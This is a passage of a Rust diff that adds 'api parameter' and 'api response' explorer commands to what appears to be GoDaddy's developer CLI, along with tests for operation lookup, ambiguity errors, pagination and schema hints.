fn operation_get_exact_operation_id_match() { + // Pin `--env` explicitly: `fullPath` depends on env-resolved base + // URL, and the default env is read from ambient local config + // (`gdenv`), so a bare run isn't hermetic across machines/CI. + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "commerce.location.verify-address", + "--env", + "prod", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!( + rendered["data"]["operationId"], + json!("commerce.location.verify-address") + ); + assert_eq!( + rendered["data"]["fullPath"], + json!("/v1/commerce/location/address-verifications") + ); + } + + /// `fullPath` must stay a hostless path in every environment, not just + /// prod — `resolve_catalog_base_url` rewrites the host for non-prod envs + /// (e.g. `api.ote-godaddy.com`), so stripping only the literal prod host + /// would silently leave the scheme+host in place here. + #[tokio::test] + async fn operation_get_full_path_is_hostless_in_a_non_prod_env() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "commerce.location.verify-address", + "--env", + "ote", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!( + rendered["data"]["baseUrl"], + json!("https://api.ote-godaddy.com/v1/commerce") + ); + assert_eq!( + rendered["data"]["fullPath"], + json!("/v1/commerce/location/address-verifications") + ); + } + + #[tokio::test] + async fn operation_get_exact_match_narrowed_by_method_flag() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "/location/addresses", + "--method", + "GET", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!( + rendered["data"]["operationId"], + json!("commerce.location.search-addresses") + ); + } + + /// Matches the original CLI's documented quirk: `--method` only narrows + /// the exact-match step. A mismatched method falls through to fuzzy + /// search, which ignores the method filter entirely — so this still + /// resolves to the (wrong-method) endpoint rather than erroring. + #[tokio::test] + async fn operation_get_method_filter_is_ignored_during_fuzzy_fallback() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "/location/addresses", + "--method", + "POST", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!( + rendered["data"]["operationId"], + json!("commerce.location.search-addresses") + ); + assert_eq!(rendered["data"]["method"], json!("GET")); + } + + #[tokio::test] + async fn operation_get_single_fuzzy_match_resolves_transparently() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "verify-address", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!( + rendered["data"]["operationId"], + json!("commerce.location.verify-address") + ); + } + + /// A fuzzy query matching several unrelated endpoints is a hard error + /// (see `resolve_operation`/`ambiguous_operation_error`), not a + /// success-shaped `{message, matches}` response — cli-engine's error + /// envelope has no structured `next_actions` hook, so every candidate + /// is instead a runnable command line inside the error's `fix` string. + #[tokio::test] + async fn operation_get_multiple_fuzzy_matches_is_an_ambiguous_error() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "/location", + "--output", + "json", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["error"]["code"], json!("AMBIGUOUS_MATCH")); + assert!( + rendered["error"]["message"] + .as_str() + .unwrap_or_default() + .contains("matches 2 operations"), + "{}", + output.rendered + ); + let fix = rendered["fix"].as_str().expect("fix present"); + assert!(fix.contains("/location/address-verifications"), "{fix}"); + assert!(fix.contains("/location/addresses"), "{fix}"); + assert!(fix.contains("gddy api operation get"), "{fix}"); + } + + /// Same ambiguity, but through human output — covers that rendering + /// path directly, since every other test here only exercises + /// `--output json`. Human error rendering is `Error: {message}` / + /// `Fix: {fix}` (`cli_engine::output::human::render_human_with_view`). + #[tokio::test] + async fn operation_get_multiple_fuzzy_matches_human_output_shows_message_and_candidates() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "/location", + "--output", + "human", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + assert!( + output.rendered.contains("'/location' matches 2 operations"), + "{}", + output.rendered + ); + assert!( + output.rendered.contains("/location/address-verifications"), + "{}", + output.rendered + ); + assert!( + output.rendered.contains("/location/addresses"), + "{}", + output.rendered + ); + } + + /// Many catalog paths are shared by several endpoints that only differ + /// by method (here: `GET /businesses` and `POST /businesses`) — without + /// `--method`, exact-match resolution must treat that the same as an + /// ambiguous fuzzy match, not silently pick whichever one it saw first. + #[tokio::test] + async fn operation_get_exact_path_shared_by_multiple_methods_is_ambiguous() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "/businesses", + "--output", + "json", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["error"]["code"], json!("AMBIGUOUS_MATCH")); + // Candidates sharing one path are only distinguishable by method, so + // the fix must spell out both. + let fix = rendered["fix"].as_str().expect("fix present"); + assert!(fix.contains("--method GET"), "{fix}"); + assert!(fix.contains("--method POST"), "{fix}"); + } + + /// The same ambiguity, resolved by adding `--method`. + #[tokio::test] + async fn operation_get_exact_path_shared_by_multiple_methods_resolves_with_method_flag() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "/businesses", + "--method", + "POST", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"]["operationId"], json!("createBusiness")); + } + + /// A concrete path with a real ID substituted for a `{param}` segment + /// must resolve via template matching, same as `api call` already does + /// via `find_endpoint`/`path_matches_template`. + #[tokio::test] + async fn operation_get_concrete_path_resolves_via_template_matching() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "/businesses/abc123", + "--method", + "GET", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"]["operationId"], json!("getBusinessById")); + } + + #[tokio::test] + async fn operation_get_zero_matches_is_an_error() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "totally-fake-endpoint-xyz", + "--output", + "json", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + assert!( + output.rendered.contains("no operation found matching"), + "{}", + output.rendered + ); + } + + /// Regression: `.with_view(...)` covered `parameters.items` but had no + /// `responses.items` column at all, so `responses` — present in the + /// JSON the whole time — silently never rendered in `--output human`, + /// with no error or missing-column notice to say so. + #[tokio::test] + async fn operation_get_human_output_shows_a_responses_table() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "createShipment", + "--output", + "human", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + assert!( + output.rendered.contains("Responses:"), + "{}", + output.rendered + ); + assert!(output.rendered.contains("STATUS"), "{}", output.rendered); + assert!(output.rendered.contains("200"), "{}", output.rendered); + } + + /// Most catalog request bodies are a bare `$ref` with no inline + /// `properties` (63/82 in the embedded catalog) — `createBusiness`'s is + /// `{"$ref": "#/$defs/Business"}`. Without $ref resolution this + /// summarizes to `null`; with it, the real fields show up. The request + /// body is folded into `parameters` as the synthetic `body` row. + #[tokio::test] + async fn operation_get_resolves_a_pure_ref_request_body_against_defs() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "createBusiness", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + let parameters = rendered["data"]["parameters"]["items"] + .as_array() + .expect("parameters items array"); + let body = parameters + .iter() + .find(|p| p["name"] == "body") + .expect("synthetic body row"); + let schema = body["schema"]["items"] + .as_array() + .expect("body.schema resolves to a property list, not null"); + let active_since = schema + .iter() + .find(|p| p["name"] == "activeSince") + .expect("activeSince property"); + assert_eq!(active_since["type"], json!("string(date-time)")); + assert_eq!(body["schemaId"], json!("Business")); + } + + /// `getChannels` has 6 parameters — under the preview cap, so its + /// `operation get` output isn't truncated and shouldn't link to the + /// standalone `parameter list`. + #[tokio::test] + async fn operation_get_does_not_link_to_parameter_list_when_untruncated() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "getChannels", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!( + rendered["data"]["parameters"]["pagination"]["total"], + json!(6) + ); + assert!( + !rendered["data"]["parameters"]["pagination"]["has_more"] + .as_bool() + .unwrap_or(true) + ); + let next_actions = rendered["next_actions"].as_array().expect("next_actions"); + assert!( + next_actions + .iter() + .any(|a| a["command"].as_str().unwrap_or("").contains("api call")), + "{}", + output.rendered + ); + assert!( + !next_actions.iter().any(|a| a["command"] + .as_str() + .unwrap_or("") + .contains("parameter list")), + "an untruncated preview should not link to the standalone list: {}", + output.rendered + ); + } + + /// `createShipment`'s synthetic `body` parameter has a `schemaId` + /// (`Shipment`, a `$ref`) — a caller needs to be told `api schema get` + /// exists at all to make use of it, or the id in the table is a dead + /// end. One generic hint covers every parameter/response with a + /// `schemaId`, rather than a same-command line repeated per row. + #[tokio::test] + async fn operation_get_links_to_schema_get_when_any_row_has_a_schema_id() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "createShipment", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + let next_actions = rendered["next_actions"].as_array().expect("next_actions"); + let hint = next_actions + .iter() + .find(|a| a["command"] == json!("gddy api schema get ")) + .expect("generic schema-get hint"); + assert!(hint["params"]["id"]["required"].as_bool().unwrap_or(false)); + assert!(hint["params"]["id"]["value"].is_null()); + } + + /// `deleteDNSRecord` has no schema anywhere (every parameter is a bare + /// scalar, and its one response is a bare `204` with no body) — the + /// schema-get hint must not appear when there's nothing for it to point + /// at. + #[tokio::test] + async fn operation_get_does_not_link_to_schema_get_when_no_row_has_a_schema_id() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "deleteDNSRecord", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + let next_actions = rendered["next_actions"].as_array().expect("next_actions"); + assert!( + !next_actions + .iter() + .any(|a| a["command"] == json!("gddy api schema get ")), + "{}", + output.rendered + ); + } + + /// `get_transaction_disputes` has 26 parameters — over the preview cap + /// — so its `operation get` output must be truncated and link to the + /// standalone `parameter list` for the rest, per the "list truncated → + /// standalone list command" convention. + #[tokio::test] + async fn operation_get_links_to_parameter_list_when_truncated() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "get_transaction_disputes", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + // `Summary`'s only field beyond `items` is `pagination` (a + // `PaginationMeta`) — the same shape cli-engine's own top-level + // pagination uses, so cli-engine 0.8.2 (DEVEX-985) can read it as a + // sibling of a nested column's array and render the same "(N of M + // rows, offset O, limit L)" footer a top-level paginated array gets. + assert_eq!( + rendered["data"]["parameters"]["pagination"]["total"], + json!(26) + ); + assert_eq!( + rendered["data"]["parameters"]["pagination"]["count"], + json!(20) + ); + assert_eq!( + rendered["data"]["parameters"]["pagination"]["limit"], + json!(20) + ); + assert_eq!( + rendered["data"]["parameters"]["pagination"]["has_more"], + json!(true) + ); + let next_actions = rendered["next_actions"].as_array().expect("next_actions"); + let link = next_actions + .iter() + .find(|a| { + a["command"] + .as_str() + .unwrap_or("") + .contains("parameter list") + }) + .expect("next_action linking to the standalone parameter list"); + assert_eq!( + link["params"]["operation"]["value"], + json!("get_transaction_disputes") + ); + } + + /// Same fixture as `operation_get_links_to_parameter_list_when_truncated`, + /// through human output: DEVEX-985 (cli-engine 0.8.2) lets a nested + /// table render a truncation footer at all, so this is the first time + /// `--output human` can show "not all rows are here" for `operation + /// get`'s embedded parameter preview, rather than a bare `(20 rows)` + /// with no hint that 6 more exist. + #[tokio::test] + async fn operation_get_human_output_shows_truncation_footer_for_parameters() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "get_transaction_disputes", + "--output", + "human", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + assert!( + output + .rendered + .contains("(20 of 26 rows, offset 0, limit 20)"), + "{}", + output.rendered + ); + } + + #[tokio::test] + async fn operation_get_graphql_endpoint_gets_summary() { + let output = operation_cli() + .run([ + "gddy", + "api", + "operation", + "get", + "postCatalogGraphql", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + let data = &rendered["data"]; + assert_eq!(data["graphql"]["operationCount"], json!(149)); + assert_eq!( + data["graphql"]["operations"] + .as_array() + .expect("operations array") + .len(), + 149 + ); + } +} diff --git a/rust/src/api_explorer/parameter.rs b/rust/src/api_explorer/parameter.rs new file mode 100644 index 0000000..9652914 --- /dev/null +++ b/rust/src/api_explorer/parameter.rs @@ -0,0 +1,420 @@ +//! `api parameter list` and `api parameter get`. + +use cli_engine::{ + CommandResult, CommandSpec, NextActionParam, PaginationConfig, RuntimeCommandSpec, TableColumn, + Tier, +}; +use serde_json::json; + +use crate::next_action::{next_action, required_value}; + +use super::catalog::{catalog, resolve_operation}; +use super::summary::{ + OPERATION_CHILD_LIST_DEFAULT_LIMIT, OPERATION_CHILD_LIST_MAX_LIMIT, summarize_parameters, + to_json, +}; + +#[derive(Debug, Clone, clap::Args)] +struct ParameterListArgs { + /// Operation ID to list parameters for (see `api operation list`). + #[arg(long, value_name = "OPERATION")] + operation: String, +} + +pub(super) fn list_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed::( + CommandSpec::from_args::("list", "List an operation's parameters") + .with_long( + "Summarizes every parameter for an operation — query/path/header/cookie/body. \ + Use `api parameter get --operation ` for a \ + parameter's full details.", + ) + .with_view(vec![ + TableColumn::new("name", "Name"), + TableColumn::new("in", "In"), + TableColumn::new("required", "Required"), + TableColumn::new("type", "Type"), + TableColumn::new("schemaId", "Schema ID"), + TableColumn::new("description", "Description"), + ]) + .with_system("api") + .with_tier(Tier::Read) + .no_auth(true) + .with_pagination(PaginationConfig { + default_limit: OPERATION_CHILD_LIST_DEFAULT_LIMIT as i64, + max_limit: OPERATION_CHILD_LIST_MAX_LIMIT, + }), + |_cred, args: ParameterListArgs| async move { + let operation = args.operation.as_str(); + let catalog = catalog(); + let (domain, ep) = resolve_operation(catalog, operation, None)?; + let all = summarize_parameters(ep, &domain.defs); + let next_actions = vec![ + next_action( + "api parameter get --operation ", + "See one parameter's full detail", + ) + .with_param("name", NextActionParam::required()) + .with_param("operation", required_value(ep.operation_id.clone())), + ]; + Ok(CommandResult::new(json!(all)).with_next_actions(next_actions)) + }, + ) +} + +#[derive(Debug, Clone, clap::Args)] +struct ParameterGetArgs { + /// Parameter name (or `body` for the request body, if present). + #[arg(value_name = "NAME")] + name: String, + + /// Operation ID that owns this parameter (see `api operation list`). + #[arg(long, value_name = "OPERATION")] + operation: String, +} + +pub(super) fn get_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed::( + CommandSpec::from_args::( + "get", + "Show an operation parameter's full details", + ) + .with_long( + "Shows parameter details, such as location, required-ness, \ + description. Use `api schema get` for complete details of a parameter \ + with a complex data type.", + ) + .with_system("api") + .with_tier(Tier::Read) + .no_auth(true), + |_cred, args: ParameterGetArgs| async move { + let name = args.name.as_str(); + let operation = args.operation.as_str(); + let catalog = catalog(); + let (domain, ep) = resolve_operation(catalog, operation, None)?; + let row = summarize_parameters(ep, &domain.defs) + .into_iter() + .find(|p| p.name == name) + .ok_or_else(|| { + crate::error::GddyError::not_found(format!( + "parameter '{name}' not found on operation '{}'", + ep.operation_id + )) + .with_fix(format!( + "Run: gddy api parameter list --operation {}", + ep.operation_id + )) + .into_cli_error() + })?; + let next_actions = row + .schema_id + .clone() + .map(|id| { + next_action("api schema get ", "See the full parameter schema") + .with_param("id", required_value(id)) + }) + .into_iter() + .collect(); + Ok(CommandResult::new(to_json(row)?).with_next_actions(next_actions)) + }, + ) +} + +#[cfg(test)] +mod tests { + use cli_engine::{Cli, CliConfig}; + use serde_json::json; + + fn operation_cli() -> Cli { + Cli::new( + CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") + .with_module(super::super::module()) + .with_environments(std::sync::Arc::clone(crate::environments::instance())), + ) + } + + #[tokio::test] + async fn parameter_list_folds_in_the_synthetic_body_row() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "list", + "--operation", + "commerce.location.verify-address", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + let items = rendered["data"].as_array().expect("data array"); + assert_eq!(items.len(), 1); + assert_eq!(items[0]["name"], json!("body")); + assert_eq!(items[0]["in"], json!("body")); + assert_eq!(items[0]["required"], json!(true)); + } + + #[tokio::test] + async fn parameter_list_human_output_uses_the_declared_column_order() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "list", + "--operation", + "createShipment", + "--output", + "human", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let header_line = output + .rendered + .lines() + .next() + .expect("at least a header line") + .trim_end(); + assert_eq!( + header_line, "NAME IN REQUIRED TYPE SCHEMA ID DESCRIPTION", + "{}", + output.rendered + ); + } + + #[tokio::test] + async fn parameter_list_honors_engine_provided_limit_and_offset() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "list", + "--operation", + "get_transaction_disputes", + "--limit", + "5", + "--offset", + "20", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"].as_array().expect("data array").len(), 5); + let pagination = &rendered["pagination"]; + assert_eq!(pagination["total"], json!(26)); + assert_eq!(pagination["offset"], json!(20)); + assert_eq!(pagination["limit"], json!(5)); + assert_eq!(pagination["count"], json!(5)); + // 20 + 5 = 25 < 26, so one more remains. + assert_eq!(pagination["has_more"], json!(true)); + let next_actions = rendered["next_actions"].as_array().expect("next_actions"); + assert!( + next_actions + .iter() + .any(|a| a["command"].as_str().unwrap_or("").contains("--offset 25")), + "expected an auto-generated next-page hint: {}", + output.rendered + ); + } + + /// `--limit 0` means "all" per cli-engine's own generated help text for + /// `with_pagination` — must show every item, not zero. With both + /// `--limit`/`--offset` at their "disabled" value (0), cli-engine 0.8's + /// pipeline skips pagination entirely rather than reporting a page of + /// everything, so there's no `pagination` envelope field at all here. + #[tokio::test] + async fn parameter_list_limit_zero_means_all() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "list", + "--operation", + "get_transaction_disputes", + "--limit", + "0", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"].as_array().expect("data array").len(), 26); + assert!(rendered.get("pagination").is_none(), "{}", output.rendered); + } + + /// `max_limit` (`OPERATION_CHILD_LIST_MAX_LIMIT`) rejects an + /// out-of-range `--limit` at parse time, before the handler even runs. + #[tokio::test] + async fn parameter_list_limit_above_max_is_rejected() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "list", + "--operation", + "get_transaction_disputes", + "--limit", + "999", + "--output", + "json", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + } + + #[tokio::test] + async fn parameter_get_resolves_the_synthetic_body_name() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "get", + "body", + "--operation", + "commerce.location.verify-address", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"]["name"], json!("body")); + assert_eq!(rendered["data"]["in"], json!("body")); + assert!(rendered["data"]["schema"]["items"].is_array()); + assert_eq!(rendered["data"]["type"], json!("object")); + let schema_id = rendered["data"]["schemaId"] + .as_str() + .expect("schemaId present whenever a schema exists"); + let next_actions = rendered["next_actions"].as_array().expect("next_actions"); + let link = next_actions + .iter() + .find(|a| a["command"].as_str().unwrap_or("").contains("schema get")) + .expect("schema next_action attached even though the preview isn't truncated"); + assert_eq!(link["params"]["id"]["value"], json!(schema_id)); + } + + /// `storeId` on `queryCarriers` has no `schema` at all — the id and its + /// "see full schema" next_action should both be absent, not present with + /// an empty/garbage value. + #[tokio::test] + async fn parameter_get_without_a_schema_has_no_schema_id_or_next_action() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "get", + "storeId", + "--operation", + "queryCarriers", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert!(rendered["data"]["schemaId"].is_null()); + assert!( + rendered["next_actions"] + .as_array() + .map(|a| a.is_empty()) + .unwrap_or(true), + "{}", + output.rendered + ); + } + + /// `pageSize` on `queryCarriers` has a bare inline scalar schema + /// (`{"type": "integer", "format": "int64", ...}`, no `properties`, no + /// `$ref`) — there's nothing to drill into, so it should surface `type` + /// directly rather than a `schemaId`/next_action pointing at a + /// `schema get` that would just echo the same type back. + #[tokio::test] + async fn parameter_get_scalar_schema_shows_type_instead_of_schema_id() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "get", + "pageSize", + "--operation", + "queryCarriers", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert!(rendered["data"]["schemaId"].is_null()); + assert_eq!(rendered["data"]["type"], json!("integer(int64)")); + assert!( + rendered["next_actions"] + .as_array() + .map(|a| a.is_empty()) + .unwrap_or(true), + "{}", + output.rendered + ); + } + + #[tokio::test] + async fn parameter_get_unknown_name_is_a_not_found_error() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "get", + "does-not-exist", + "--operation", + "commerce.location.verify-address", + "--output", + "json", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + assert!(output.rendered.contains("not found"), "{}", output.rendered); + } + + /// `getChannels`'s `registeredStores.storeId` parameter has a literal + /// dot in its name — a real edge case for the schema-id grammar (see + /// `schema_id_round_trip_holds_across_the_real_catalog` in + /// `super::super::schema`), exercised here end-to-end through the actual + /// command. + #[tokio::test] + async fn parameter_get_handles_a_dotted_parameter_name() { + let output = operation_cli() + .run([ + "gddy", + "api", + "parameter", + "get", + "registeredStores.storeId", + "--operation", + "getChannels", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"]["name"], json!("registeredStores.storeId")); + } +} diff --git a/rust/src/api_explorer/response.rs b/rust/src/api_explorer/response.rs new file mode 100644 index 0000000..4a6fe1d --- /dev/null +++ b/rust/src/api_explorer/response.rs @@ -0,0 +1,258 @@ +//! `api response list` and `api response get`. + +use cli_engine::{ + CommandResult, CommandSpec, NextActionParam, PaginationConfig, RuntimeCommandSpec, TableColumn, + Tier, +}; +use serde_json::json; + +use crate::next_action::{next_action, required_value}; + +use super::catalog::{catalog, resolve_operation}; +use super::summary::{ + OPERATION_CHILD_LIST_DEFAULT_LIMIT, OPERATION_CHILD_LIST_MAX_LIMIT, response_rows, to_json, +}; + +#[derive(Debug, Clone, clap::Args)] +struct ResponseListArgs { + /// Operation ID to list responses for (see `api operation list`). + #[arg(long, value_name = "OPERATION")] + operation: String, +} + +pub(super) fn list_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed::( + CommandSpec::from_args::("list", "List an operation's responses") + .with_long( + "Lists every response on one operation by status code. Use \ + `api response get --operation ` for one response's \ + full detail.", + ) + .with_view(vec![ + TableColumn::new("status", "Status"), + TableColumn::new("type", "Type"), + TableColumn::new("schemaId", "Schema ID"), + TableColumn::new("description", "Description"), + ]) + .with_system("api") + .with_tier(Tier::Read) + .no_auth(true) + .with_pagination(PaginationConfig { + default_limit: OPERATION_CHILD_LIST_DEFAULT_LIMIT as i64, + max_limit: OPERATION_CHILD_LIST_MAX_LIMIT, + }), + |_cred, args: ResponseListArgs| async move { + let operation = args.operation.as_str(); + let catalog = catalog(); + let (domain, ep) = resolve_operation(catalog, operation, None)?; + let all = response_rows(ep, &domain.defs); + let next_actions = vec![ + next_action( + "api response get --operation ", + "See one response's full detail", + ) + .with_param("status", NextActionParam::required()) + .with_param("operation", required_value(ep.operation_id.clone())), + ]; + Ok(CommandResult::new(json!(all)).with_next_actions(next_actions)) + }, + ) +} + +#[derive(Debug, Clone, clap::Args)] +struct ResponseGetArgs { + /// HTTP status code (e.g. 200). + #[arg(value_name = "STATUS")] + status: String, + + /// Operation ID that owns this response (see `api operation list`). + #[arg(long, value_name = "OPERATION")] + operation: String, +} + +pub(super) fn get_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed::( + CommandSpec::from_args::( + "get", + "Show one operation response's full detail", + ) + .with_long( + "Shows one response's full detail. Use `api schema get` for complete \ + details on complex response schemas.", + ) + .with_system("api") + .with_tier(Tier::Read) + .no_auth(true), + |_cred, args: ResponseGetArgs| async move { + let status = args.status.as_str(); + let operation = args.operation.as_str(); + let catalog = catalog(); + let (domain, ep) = resolve_operation(catalog, operation, None)?; + let row = response_rows(ep, &domain.defs) + .into_iter() + .find(|r| r.status == status) + .ok_or_else(|| { + crate::error::GddyError::not_found(format!( + "response '{status}' not found on operation '{}'", + ep.operation_id + )) + .with_fix(format!( + "Run: gddy api response list --operation {}", + ep.operation_id + )) + .into_cli_error() + })?; + let next_actions = row + .schema_id + .clone() + .map(|id| { + next_action("api schema get ", "See the full response schema") + .with_param("id", required_value(id)) + }) + .into_iter() + .collect(); + Ok(CommandResult::new(to_json(row)?).with_next_actions(next_actions)) + }, + ) +} + +#[cfg(test)] +mod tests { + use cli_engine::{Cli, CliConfig}; + use serde_json::json; + + fn operation_cli() -> Cli { + Cli::new( + CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") + .with_module(super::super::module()) + .with_environments(std::sync::Arc::clone(crate::environments::instance())), + ) + } + + /// Same regression as `parameter::tests::parameter_list_human_output_uses_the_declared_column_order`, + /// for `response_list_command`. `createShipment`'s rows (long + /// descriptions, a long dotted schema id) push the declared + /// `Description` column past the default terminal width, so it's the + /// lowest-priority column cli-engine drops to make everything else fit + /// — the header below is missing it for that reason, not because the + /// view only has three columns. Assert the drop is reported, so this + /// doesn't read as `Description` being absent from the view too. + #[tokio::test] + async fn response_list_human_output_uses_the_declared_column_order() { + let output = operation_cli() + .run([ + "gddy", + "api", + "response", + "list", + "--operation", + "createShipment", + "--output", + "human", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let header_line = output + .rendered + .lines() + .next() + .expect("at least a header line") + .trim_end(); + assert_eq!( + header_line, "STATUS TYPE SCHEMA ID", + "{}", + output.rendered + ); + assert!( + output + .rendered + .contains("hidden to fit the display width (Description)"), + "Description should be declared but dropped for width, not absent from the view: {}", + output.rendered + ); + } + + #[tokio::test] + async fn response_list_returns_every_status_sorted() { + let output = operation_cli() + .run([ + "gddy", + "api", + "response", + "list", + "--operation", + "patchBusiness", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + let items = rendered["data"].as_array().expect("data array"); + let statuses: Vec<&str> = items + .iter() + .map(|r| r["status"].as_str().expect("status")) + .collect(); + assert_eq!(statuses, vec!["200", "404", "default"]); + } + + #[tokio::test] + async fn response_get_returns_one_status_with_its_schema_preview() { + let output = operation_cli() + .run([ + "gddy", + "api", + "response", + "get", + "200", + "--operation", + "commerce.location.verify-address", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"]["status"], json!("200")); + let schema_items = rendered["data"]["schema"]["items"] + .as_array() + .expect("schema items array"); + let names: Vec<&str> = schema_items + .iter() + .map(|p| p["name"].as_str().expect("name")) + .collect(); + assert!(names.contains(&"status")); + assert!(names.contains(&"data")); + assert_eq!(rendered["data"]["type"], json!("object")); + let schema_id = rendered["data"]["schemaId"] + .as_str() + .expect("schemaId present whenever a schema exists"); + let next_actions = rendered["next_actions"].as_array().expect("next_actions"); + let link = next_actions + .iter() + .find(|a| a["command"].as_str().unwrap_or("").contains("schema get")) + .expect("schema next_action attached even though the preview isn't truncated"); + assert_eq!(link["params"]["id"]["value"], json!(schema_id)); + } + + #[tokio::test] + async fn response_get_unknown_status_is_a_not_found_error() { + let output = operation_cli() + .run([ + "gddy", 